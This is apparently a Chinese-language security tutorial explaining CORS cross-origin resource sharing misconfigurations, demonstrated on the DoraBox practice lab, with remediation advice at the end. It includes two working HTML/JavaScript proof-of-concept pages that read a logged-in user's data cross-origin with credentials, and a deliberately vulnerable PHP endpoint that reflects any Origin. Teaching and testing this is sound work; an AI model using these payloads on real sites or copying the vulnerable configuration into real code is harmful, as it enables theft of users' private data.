初识CORS跨域资源共享漏洞
前言:
很早之前就想学习了解的一个漏洞,虽然实战中还没遇到过,但并不影响我认识它。
基础了解:
这里先简单介绍下同源策略:
为了保证用户信息的安全,防止恶意的网站窃取数据。不是同源的网站,不能相互读取信息,譬如用户登录A站,同时登录了B站,如果A\B不是同源,那么A不能读取B站的数据
同源策略包括以下三个方面:同端口、同协议、同域名
同源策略(SOP)限制了应用程序之间的信息共享,并且仅允许在托管应用程序的域内共享。这有效防止了系统机密信息的泄露。但与此同时,也带来了另外的问题。随着Web应用程序和微服务使用的日益增长,出于实用目的往往需要将信息从一个子域传递到另一个子域,或者在不同域之间进行传递(例如将访问令牌和会话标识符,传递给另一个应用程序)
默认的配置,或是由于缺乏对此的了解而导致了错误的配置。
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE 浏览器不能低于 IE10。
CORS 背后的基本思想,就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。
漏洞详情:
CORS定义了两种跨域请求:简单请求 和 非简单请求:
- 简单跨域请求就是使用设定的请求方式请求数据
- 非简单跨域请求则是在使用设定的请求方式请求数据之前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许源。只有"预检"通过后才会再发送一次请求用于数据传输
简单跨域请求需同时满足以下两个条件:
- 请求方法是以下三种方法之一:HEAD、GET、POST
- HTTP的头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:application/x-www-form-urlencoded、 multipart/form-data、text/plain
简单请求:
浏览器直接发出CORS请求,在头信息中添加一个Origin字段,用来说明请求来自哪个源,服务器根据这个值,决定是否同意这次请求。
如果Origin指定的源在许可范围内,即验证通过,服务端会在Response Header 添加下面几个字段:
- Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。
- Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。当设置为true时,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。
- Access-Control-Allow-Headers:用来判断浏览器通过什么方式发起的,默认是content-type,如果后端服务器未配置这个请求头,或者仅允许content-type而浏览器通过XMLHttpRequest发起,也会跨域失败。
如果服务器不许可,服务器也会返回一个正常的HTTP回应,返回的状态码可能为200。返回的信息中不会包含Access-Control-Allow-Origin字段
而浏览器会发现,这个回应的头信息中的Access-Control-Allow-Origin字段不包含访问源,就知道出错了,从而抛出同源检测异常的错误。这个错误不能通过状态码识别,需要onerror捕获
这里以DoraBox靶场演示:
项目地址:https://github.com/Acmesec/DoraBox
修改header中的origin字段,验证是否存在CORS跨域漏洞:
利用POC:
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "http://192.168.107.156/DoraBox/csrf/userinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
成功跨域获取敏感信息:
非简单请求:
- 非简单请求的请求方法是PUT或DELETE,或者Content-Type字段的类型是application/json。
- 在正式通信之前,会增加一次OPTIONS方法的预检请求。
- 询问服务器,网页所在域名是否在服务器的许可名单中,以及可以使用那些HTTP动词和头信息字段,只有得到肯定答复,浏览器才会发出正式XMLHTTPRequest请求,否则会报错
浏览器先发送一个OPTIONS方法的预检请求,带有如下字段:
- Origin: 表明来源域。
- Access-Control-Request-Method: 表面接下来请求的方法,例如PUT、DELETE等等
- Access-Control-Request-Headers: 自定义的头部,所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中
如果服务器配置了CORS,会返回对应对的字段:
- Access-Control-Allow-Origin: 允许进行跨域请求的域名
- Access-Control-Allow-Methods: 允许进行跨域请求的方式
- Access-Control-Allow-Headers: 允许进行跨区请求的头部
如下图所示:
CORS的最后一道防线:
如果一个目标域设置成了允许任意域的跨域请求,这个请求又带着 Cookie 的话,这个请求是不合法的。
也就是说,如果需要实现带 Cookie 的跨域请求,CORS服务端需要明确的配置允许来源的域,使用任意域的配置是不合法的)浏览器会屏蔽掉返回的结果,Javascript 就没法获取返回的数据了。
示例代码如下:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
当然对于无cookie页面是可以进行CSRF或者CORS攻击,这种情况一般危害就相对小很多了。
如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。
Access-Control-Allow-Credentials: true
另一方面,开发者必须在AJAX请求中打开withCredentials属性
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
现实环境中的CORS,几乎都是必定需要cookie的,不需要cookie的CORS的危害度也大大降低。
设置一个需要cookie才能访问的页面:
# cors.php
<?php
setcookie("name","admin");
# header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
# header("Access-Control-Allow-Credentials: true");
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Headers: content-type,x-requested-with');
$id=json_decode(file_get_contents("php://input"),TRUE)['id'];
if (($id == 1) && ($_COOKIE["name"] == "admin")){
echo json_encode(array(
'id' => 1,
'name' => 'test',
'iphone' => 13888888888,
'email' => 'test@qq.com'
));
}
?>
不携带cookie进行访问,无法获取敏感数据:
利用POC:
// cors_test2.html
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
payload = '{"id":"1"}';
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("POST", "http://192.168.107.156/DoraBox/csrf/cors.php", true);
xhttp.setRequestHeader("Content-type","application/json; charset=utf-8");
xhttp.withCredentials = true;
xhttp.send(payload);
}
</script>
</body>
</html>
测试的时候发现CORS失效,原因是默认情况下服务器不许可Cookie可以包含在请求中,一起发给服务器。
我们将cors.php对应注释的部分去掉即可:
漏洞代码:
1、一般如下配置是最危险的,可以携带cookie进行CORS攻击
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Credentials: true");
2、这种情况下,无cookie页面可以进行CORS攻击。
header('Access-Control-Allow-Origin: *')
补充说明:
- 同域的请求会自动带上Cookie
- Origin为空,表示是同域或直接访问,视为安全情况。做安全限制需要注意空Origin,不要一起限制了
- 后端设置
Access-Control-Allow-Credentials
为true,表示跨域请求后端接口时,允许带上Cookie。此时,前端必须设置withCredentials
为true。**同时,由于Cookie本身也受同源策略限制,所以Cookie要实现跨域,还需要满足:
- 相同的一级域名(比如joychou.org)
- Cookie的domain设置为.joychou.org
漏洞检测:
一般在burp中增加Origin: https://test.com,观察服务器采用了哪种配置。如果使用的是白名单,也有可能是使用了正则白名单,有可能存在绕过的方式。
修复方案:
1、严格效验来自请求数据包中的“Origin”的值。当收到跨域请求的时候,要检查“Origin” 的值是否是一个可信的源,还要检查是否为null
2、避免使用 “Access-Control-Allow-Credentials :true” (请求中带cookie)
3、减少“Access-Control-Allow-Methods”所允许的方法(只需要配置你所需要的即可)
参考如下:
CSRF-CORS-JSONP
CORS跨域资源共享漏洞
跨域CORS、JSONP原理及漏洞的利用
CORS · JoyChou93/java-sec-code Wiki
Web业务安全测试—CORS跨域资源共享漏洞
《网络安全学习》 第七部分-----跨域资源共享(CORS)漏洞